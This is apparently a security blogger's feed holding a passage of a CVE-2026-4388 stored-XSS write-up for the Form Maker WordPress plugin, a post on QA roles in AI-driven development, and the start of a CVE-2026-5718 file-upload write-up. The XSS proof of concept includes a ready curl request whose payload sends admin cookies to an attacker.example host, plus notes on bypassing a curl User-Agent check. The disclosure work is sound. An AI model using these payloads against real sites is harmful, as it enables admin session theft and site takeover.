&lt;p&gt;&lt;strong&gt;Insufficient input sanitization&lt;/strong&gt;: &lt;code&gt;sanitize_text_field()&lt;/code&gt; calls &lt;code&gt;wp_strip_all_tags()&lt;/code&gt; internally, which removes HTML tags such as &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;. However, it does &lt;strong&gt;not&lt;/strong&gt; encode or remove double-quote characters (&lt;code&gt;&quot;&lt;/code&gt;). An event-handler injection payload like &lt;code&gt;&quot; autofocus onfocus=&quot;alert(1)&lt;/code&gt; contains no HTML tags and passes through &lt;code&gt;sanitize_text_field&lt;/code&gt; unchanged.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing output escaping&lt;/strong&gt;: The cell value from the database is echoed directly inside an HTML attribute (&lt;code&gt;value=&quot;...&quot;&lt;/code&gt;) with no call to &lt;code&gt;esc_attr()&lt;/code&gt;. This allows the unescaped &lt;code&gt;&quot;&lt;/code&gt; to close the &lt;code&gt;value&lt;/code&gt; attribute and inject additional HTML attributes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field&lt;/code&gt; is documented for sanitizing plain-text strings for use in database storage or general display, &lt;strong&gt;not&lt;/strong&gt; for injection-safe inclusion inside HTML attributes. The correct function for attribute-safe output is &lt;code&gt;esc_attr()&lt;/code&gt;, which encodes &lt;code&gt;&quot;&lt;/code&gt; as &lt;code&gt;&amp;amp;quot;&lt;/code&gt;. The developer used only &lt;code&gt;sanitize_text_field&lt;/code&gt; at input time. Without &lt;code&gt;esc_attr()&lt;/code&gt; at output time, the quote characters passed through the entire pipeline unchanged.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Steal administrator session cookies&lt;/strong&gt; — the injected script can exfiltrate &lt;code&gt;document.cookie&lt;/code&gt; to an attacker-controlled server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Perform admin-level actions&lt;/strong&gt; via crafted requests using the victim&apos;s session (create rogue admin accounts, modify site settings, install backdoor plugins).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site defacement&lt;/strong&gt; — redirect the admin browser or alter page content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full site compromise&lt;/strong&gt; — depending on admin capabilities and server configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;autofocus&lt;/code&gt; attribute combined with &lt;code&gt;onfocus&lt;/code&gt; causes the payload to fire automatically the moment the administrator&apos;s browser renders the submissions detail view, with no click or hover required.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;form-maker&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 1.15.40 (confirmed vulnerable: 1.15.40; original reported code: 1.15.37)&lt;/li&gt;
&lt;li&gt;At least one published form containing a &lt;strong&gt;Matrix&lt;/strong&gt; field configured with the &lt;strong&gt;Text Box&lt;/strong&gt; input type&lt;/li&gt;
&lt;li&gt;An administrator account that reviews form submissions&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify the target form and field IDs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Load any page containing the Form Maker embed and view its HTML source. Locate the hidden inputs that the plugin injects via JavaScript on submit (added by &lt;code&gt;framework/WDW_FM_Library.php&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;wdform_1_input_type1&quot;   value=&quot;text&quot; /&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;wdform_1_hidden_row1&quot;    value=&quot;***Row 1&quot; /&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;wdform_1_hidden_column1&quot; value=&quot;***Column 1&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the form ID (the suffix, &lt;code&gt;1&lt;/code&gt; above) and the field index (the number after &lt;code&gt;wdform_&lt;/code&gt;, &lt;code&gt;1&lt;/code&gt; above).&lt;/p&gt;
&lt;p&gt;The text-box cell input inside the form will be named:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wdform_{field_index}_input_element{form_id}{row}_{col}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the first row, first column of field 1 in form 1: &lt;code&gt;wdform_1_input_element11_1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Submit the malicious payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a POST request to the WordPress AJAX endpoint. No login is needed — &lt;code&gt;wp_ajax_nopriv_fm_submit_form&lt;/code&gt; accepts submissions from any visitor.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://example.com&quot;
FORM_ID=1
FIELD_IDX=1

curl -s -X POST &quot;${TARGET}/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=fm_submit_form&quot; \
  -d &quot;form_id=${FORM_ID}&quot; \
  -d &quot;wdform_${FIELD_IDX}_element${FORM_ID}=&quot; \
  -d &quot;wdform_${FIELD_IDX}_input_type${FORM_ID}=text&quot; \
  --data-urlencode &quot;wdform_${FIELD_IDX}_hidden_row${FORM_ID}=***Row 1&quot; \
  --data-urlencode &quot;wdform_${FIELD_IDX}_hidden_column${FORM_ID}=***Col 1&quot; \
  --data-urlencode &quot;wdform_${FIELD_IDX}_input_element${FORM_ID}11_1=\&quot; autofocus onfocus=\&quot;fetch(&apos;https://attacker.example/steal?c=&apos;+document.cookie)\&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A successful response from the server will include a confirmation message or redirect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Verify the malicious submission was stored&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in as administrator and navigate to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/wp-admin/admin.php?page=submissions_fm&amp;amp;form_id=&amp;lt;FORM_ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The most recent submission should appear in the list.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Trigger the XSS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;View&lt;/strong&gt; (detail) link for the poisoned submission. The admin browser opens the submission popup (action &lt;code&gt;FormMakerSubmits&lt;/code&gt;), which renders:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot;
       value=&quot;&quot;
       autofocus
       onfocus=&quot;fetch(&apos;https://attacker.example/steal?c=&apos;+document.cookie)&quot;
       disabled /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;autofocus&lt;/code&gt; attribute causes the input to receive focus immediately on page render. The &lt;code&gt;onfocus&lt;/code&gt; event handler fires automatically — &lt;strong&gt;no further user interaction is required&lt;/strong&gt;. The attacker&apos;s server receives the administrator&apos;s session cookie.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The administrator&apos;s session cookie (or any other targeted data) is exfiltrated to the attacker-controlled server without the administrator clicking anything beyond navigating to the submissions page.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Monitor &lt;code&gt;https://attacker.example/steal&lt;/code&gt; for incoming requests.&lt;/li&gt;
&lt;li&gt;After the admin views the submission, a GET request arrives with the &lt;code&gt;c=&lt;/code&gt; parameter containing the admin&apos;s &lt;code&gt;wordpress_logged_in_*&lt;/code&gt; session cookie.&lt;/li&gt;
&lt;li&gt;The attacker can use this cookie to log in as administrator without knowing the password.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed (1.15.40 → 1.15.41)&lt;/h3&gt;
&lt;p&gt;The 1.15.41 patch modified six files:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;admin/controllers/FormMakerIpinfoinPopup.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replaced unsafe &lt;code&gt;unserialize(file_get_contents(...))&lt;/code&gt; with &lt;code&gt;wp_remote_get()&lt;/code&gt; + &lt;code&gt;json_decode()&lt;/code&gt;; added &lt;code&gt;esc_url()&lt;/code&gt; and &lt;code&gt;esc_attr()&lt;/code&gt; on all output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;admin/models/Submissions_fm.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fixed multiple SQL injection vulnerabilities using &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; and &lt;code&gt;$wpdb-&amp;gt;esc_like()&lt;/code&gt;; sanitized dynamically interpolated label/search values&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;booster/AdminBar.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Restricted &lt;code&gt;unserialize()&lt;/code&gt; with &lt;code&gt;allowed_classes =&amp;gt; false&lt;/code&gt; to prevent PHP object injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;frontend/controllers/form_maker.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;preg_match()&lt;/code&gt; and &lt;code&gt;is_callable()&lt;/code&gt; validation to prevent attacker-controlled dynamic method calls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;form-maker.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version bump to 1.15.41&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;readme.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changelog entry added&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation for the XSS&lt;/h3&gt;
&lt;p&gt;The core XSS fix adds &lt;code&gt;esc_attr()&lt;/code&gt; to the matrix text-box output in &lt;code&gt;admin/views/FormMakerSubmits.php&lt;/code&gt;. Line 169 changes &lt;code&gt;echo $checked&lt;/code&gt; to &lt;code&gt;echo esc_attr($checked)&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php echo $checked; ?&amp;gt;&quot; disabled /&amp;gt;&amp;lt;/td&amp;gt;
+ &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php echo esc_attr($checked); ?&amp;gt;&quot; disabled /&amp;gt;&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;esc_attr()&lt;/code&gt; converts &lt;code&gt;&quot;&lt;/code&gt; → &lt;code&gt;&amp;amp;quot;&lt;/code&gt;, preventing attribute breakout. Even if &lt;code&gt;sanitize_text_field&lt;/code&gt; allowed the double-quote through at storage time, the output escaping now blocks it at display time.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key XSS Fix)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/admin/views/FormMakerSubmits.php (1.15.37, vulnerable)
+++ b/admin/views/FormMakerSubmits.php (1.15.41, patched)
@@ -164,7 +164,7 @@
          if ( $mat_params[$mat_rows + $mat_columns + 2] == &quot;text&quot; ) {
            for ( $l = 1; $l &amp;lt;= $mat_columns; $l++ ) {
              $checked = $mat_params[$mat_rows + $mat_columns + 2 + $var_checkbox];
              ?&amp;gt;
              &amp;lt;td style=&quot;text-align:center&quot;&amp;gt;
-               &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php echo $checked; ?&amp;gt;&quot; disabled /&amp;gt;&amp;lt;/td&amp;gt;
+               &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php echo esc_attr($checked); ?&amp;gt;&quot; disabled /&amp;gt;&amp;lt;/td&amp;gt;
              &amp;lt;?php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The full 1.15.41 patch also hardened SQL queries, prevented unsafe deserialization, and blocked arbitrary method dispatch — indicating this was a broad security audit, not a single-issue fix.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered by Naoya Takahashi (nakko)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 13, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence Intelligence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 13–14, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.15.41 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;form-maker&lt;/code&gt; plugin to version &lt;strong&gt;1.15.41&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Restrict access to the WordPress admin submissions view to trusted IP addresses only.&lt;/li&gt;
&lt;li&gt;Monitor submission data for unusual patterns (double-quotes, &lt;code&gt;onfocus&lt;/code&gt;, &lt;code&gt;autofocus&lt;/code&gt;, &lt;code&gt;onerror&lt;/code&gt;, &lt;code&gt;onmouseover&lt;/code&gt; keywords).&lt;/li&gt;
&lt;li&gt;Consider temporarily disabling Matrix fields with Text Box input type.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/form-maker/form-maker-by-10web-11540-unauthenticated-stored-cross-site-scripting-via-matrix-field-text-box&quot;&gt;Wordfence Advisory — CVE-2026-4388&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-maker/tags/1.15.37/admin/views/FormMakerSubmits.php#L169&quot;&gt;Vulnerable output line — FormMakerSubmits.php:L169 (tag 1.15.37)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-maker/tags/1.15.37/admin/views/FormMakerSubmits.php#L166&quot;&gt;Data retrieval line — FormMakerSubmits.php:L166 (tag 1.15.37)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-maker/tags/1.15.37/frontend/models/form_maker.php#L2352&quot;&gt;Insufficient sanitization — form_maker.php:L2352 (tag 1.15.37)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;new=3501693%40form-maker%2Ftrunk&amp;amp;old=3492680%40form-maker%2Ftrunk&quot;&gt;SVN Changeset (security patch diff)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-24T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>AI Writes the Code Now. What Happens To QA?</title><link>https://hurayraiit.com/blog/ai-writes-the-code-what-happens-to-qa/</link><guid isPermaLink="true">https://hurayraiit.com/blog/ai-writes-the-code-what-happens-to-qa/</guid><description>AI tools can build working software in hours. That makes coding faster — but it makes testing more critical than ever. Here is what that means for QA engineers.</description><pubDate>Thu, 23 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AI can write a working feature in minutes. A team that once needed a sprint now needs an afternoon. The coding bottleneck — the thing that has defined the pace of software development for decades — is effectively gone.&lt;/p&gt;
&lt;p&gt;But a new one has taken its place.&lt;/p&gt;
&lt;p&gt;The question nobody is asking loudly enough: who validates all of this code?&lt;/p&gt;
&lt;h2&gt;Testing Is the New Bottleneck&lt;/h2&gt;
&lt;p&gt;For decades, the slowest part of software development was writing the code. It required skilled engineers, careful architecture decisions, and weeks of careful implementation. That was always the expensive part — the thing you had to budget time and people for.&lt;/p&gt;
&lt;p&gt;AI has dissolved that bottleneck almost completely. Describe a feature, and a capable AI agent can scaffold it, wire it up, and run it in minutes. The hard part is no longer building — it is verifying.&lt;/p&gt;
&lt;p&gt;Writing the code is no longer the problem. Validating that the code is correct — that it does what it should, doesn&apos;t break what already works, and holds up under real user behavior — that is now the slowest step in the chain.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;The Speed Problem&lt;/h2&gt;
&lt;p&gt;The software development lifecycle is changing faster than most organizations are prepared for. Features that used to take a sprint can now ship in hours. The pipeline has accelerated dramatically at the top, but the testing layer has not caught up.&lt;/p&gt;
&lt;p&gt;Manual regression testing was already a pain point before AI. Running a full test suite by hand every sprint required dedicated time, discipline, and a good memory for every edge case. Now it is simply not an option at all.&lt;/p&gt;
&lt;p&gt;If your delivery speed has multiplied by ten but your testing speed has stayed the same, you have a bottleneck. And eventually, that bottleneck becomes a production incident.&lt;/p&gt;
&lt;h2&gt;What This Means for QA Engineers&lt;/h2&gt;
&lt;p&gt;The easy answer is: not much, keep doing what you are doing. But that is wrong.&lt;/p&gt;
&lt;p&gt;Manually clicking through an application to find bugs does not scale to the speed at which AI-assisted teams can ship. Neither does having a solid understanding of test automation frameworks if you are still hand-writing every test yourself.&lt;/p&gt;
&lt;p&gt;The skill that actually matters now is using AI as a multiplier for what you already know. Whatever you do well in your current role — exploratory testing, regression coverage, edge case thinking — an agent built with your instructions can do it faster and at greater volume.&lt;/p&gt;
&lt;h2&gt;The New Role: Coding Agent Manager&lt;/h2&gt;
&lt;p&gt;You still need to understand Playwright or Cypress deeply. That knowledge is not optional — you cannot review what you do not understand. But you are no longer the person who writes every selector, every assertion, every page object from scratch.&lt;/p&gt;
&lt;p&gt;Your job is to set the task, review the output, refine the agent&apos;s instructions, and validate the result. Agents can handle roughly 90% of the mechanical work of writing test automation. Your human expertise fills the last 10% — the judgment calls, the subtle edge cases, the things that require real domain knowledge.&lt;/p&gt;
&lt;p&gt;Think of it like the shift from craftsman to engineering director. You have moved up the abstraction layer. You are no longer writing tests; you are designing the system that produces them. Instead of spending hours perfecting page object design, you spend that time refining agent instructions so it can do the job autonomously with the highest success rate possible.&lt;/p&gt;
&lt;h2&gt;History Says QA Is Not Going Anywhere — It Is Growing&lt;/h2&gt;
&lt;p&gt;There is a 19th-century economic principle called the Jevons Paradox: when you make something more efficient, total consumption of it usually goes up, not down. More efficiency creates more demand, not less.&lt;/p&gt;
&lt;p&gt;This pattern plays out across technology history. Between 1980 and 2010, around 400,000 ATMs were installed across the United States. Bank tellers feared their jobs were finished. Instead, bank teller employment grew from 500,000 to 600,000 over that same period.&lt;/p&gt;
&lt;p&gt;In 2016, Geoffrey Hinton — computer scientist and Turing Award winner — declared that people should stop training radiologists. AI was performing image recognition better than humans in some benchmarks. By 2025, American diagnostic radiology residency programs offered a record 1,208 positions across all specialties, a four percent increase from 2024.&lt;/p&gt;
&lt;p&gt;As software development becomes cheaper and faster, more software gets built — in healthcare, logistics, education, everyday devices. All of it needs to be tested. The total demand for QA does not shrink. It expands.&lt;/p&gt;
&lt;h2&gt;Stay Open, Stay Relevant&lt;/h2&gt;
&lt;p&gt;The QA role is not going away. But the version of it that exists today is not the version that will exist in two years. The shape of the work is changing fast.&lt;/p&gt;
&lt;p&gt;The engineers who will be in highest demand are those who can manage AI agents, review test output with critical eyes, and refine automation systems at scale. Titles and job descriptions will follow, but the underlying capability is what matters.&lt;/p&gt;
&lt;p&gt;If you are interviewing for a QA role today, the question worth preparing for is not &quot;how many test cases have you written?&quot; It is &quot;what agents will you build and how will they work?&quot; That answer is what separates candidates who understand where the field is going from those still focused on where it has been.&lt;/p&gt;
&lt;p&gt;Working with agents is not as difficult as it sounds — and honestly, it is a lot of fun. Your expertise does not become obsolete; it becomes the instruction set for a much faster version of you. The transformation is happening either way. The only question is whether you are in front of it or behind it.&lt;/p&gt;
</content:encoded><atom:updated>2026-04-23T00:00:00.000Z</atom:updated><category>technology</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin</title><link>https://hurayraiit.com/blog/cve-2026-5718-unauthenticated-file-upload-dnd-upload-cf7/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5718-unauthenticated-file-upload-dnd-upload-cf7/</guid><description>CVE-2026-5718 (CVSS 8.1 High): Arbitrary PHP upload in CF7 DnD Upload plugin ≤1.3.9.6 via non-ASCII bypass — unauthenticated RCE possible.</description><pubDate>Wed, 22 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5718&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.1 (High)&lt;/strong&gt; Unauthenticated Arbitrary File Upload vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/&quot;&gt;Drag and Drop Multiple File Upload for Contact Form 7&lt;/a&gt; WordPress plugin. Versions up to and including 1.3.9.6 are affected. An attacker can upload a PHP webshell by chaining two logic flaws: a blacklist that is destroyed by custom configuration, and a filename sanitization function that is skipped for non-ASCII filenames. The result is full remote code execution.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Drag and Drop Multiple File Upload for Contact Form 7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;drag-and-drop-multiple-file-upload-contact-form-7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5718&quot;&gt;CVE-2026-5718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.1 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/drag-and-drop-multiple-file-upload-contact-form-7.1.3.9.6.zip&quot;&gt;&amp;lt;= 1.3.9.6&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/drag-and-drop-multiple-file-upload-contact-form-7.1.3.9.7.zip&quot;&gt;1.3.9.7&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 17, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Leonid Semenenko (lsemenenko)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.3.9.6. Two flaws combine to cause this. First, when custom blacklist types are configured, the custom list replaces the default dangerous extension denylist instead of merging with it. Second, the &lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt; sanitization function is bypassed for filenames containing non-ASCII characters. Together, these flaws allow unauthenticated attackers to upload arbitrary files — such as PHP files — to the server, which attackers can use to run code remotely.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability lives entirely in &lt;code&gt;inc/dnd-upload-cf7.php&lt;/code&gt;. There are three connected weaknesses that work together.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;Weakness 1 — Nonce Exposed to Unauthenticated Visitors (&lt;code&gt;dnd_wpcf7_nonce_check&lt;/code&gt;, line 62)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // Block curl request.
    if ( strpos( $_SERVER[&apos;HTTP_USER_AGENT&apos;], &apos;curl&apos; ) !== false ) {
        wp_send_json_error(&apos;Request blocked: cURL access is forbidden.&apos;);
    }

    if( ! check_ajax_referer( &apos;dnd-cf7-security-nonce&apos;, false, false ) ){
        wp_send_json_success( wp_create_nonce( &quot;dnd-cf7-security-nonce&quot; ) );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This AJAX action (&lt;code&gt;wp_ajax_nopriv__wpcf7_check_nonce&lt;/code&gt;) is reachable by anyone. When the request does &lt;strong&gt;not&lt;/strong&gt; carry a valid nonce, the function generates a fresh nonce and returns it in the JSON response — handing the upload credential directly to the caller. The only &quot;protection&quot; is a &lt;code&gt;User-Agent&lt;/code&gt; substring check for &lt;code&gt;curl&lt;/code&gt;, which is easily bypassed by setting any other user agent string.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;Weakness 2 — Custom Blacklist Replaces Default Denylist (line 883)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();   // 80+ blocked extensions, including &apos;php&apos;, &apos;php3&apos;, ...
if ( isset( $blacklist[&quot;$cf7_upload_name&quot;] ) &amp;amp;&amp;amp; ! empty( $blacklist[&quot;$cf7_upload_name&quot;] ) ) {
    $blacklist_types = explode( &apos;|&apos;, $blacklist[&quot;$cf7_upload_name&quot;] );   // REPLACES — does not merge
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;dnd_cf7_not_allowed_ext()&lt;/code&gt; function returns a comprehensive list of ~80 dangerous extensions including &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;php3&lt;/code&gt;, &lt;code&gt;php4&lt;/code&gt;, &lt;code&gt;pht&lt;/code&gt;, &lt;code&gt;phtml&lt;/code&gt;, &lt;code&gt;phar&lt;/code&gt;, etc.&lt;/p&gt;
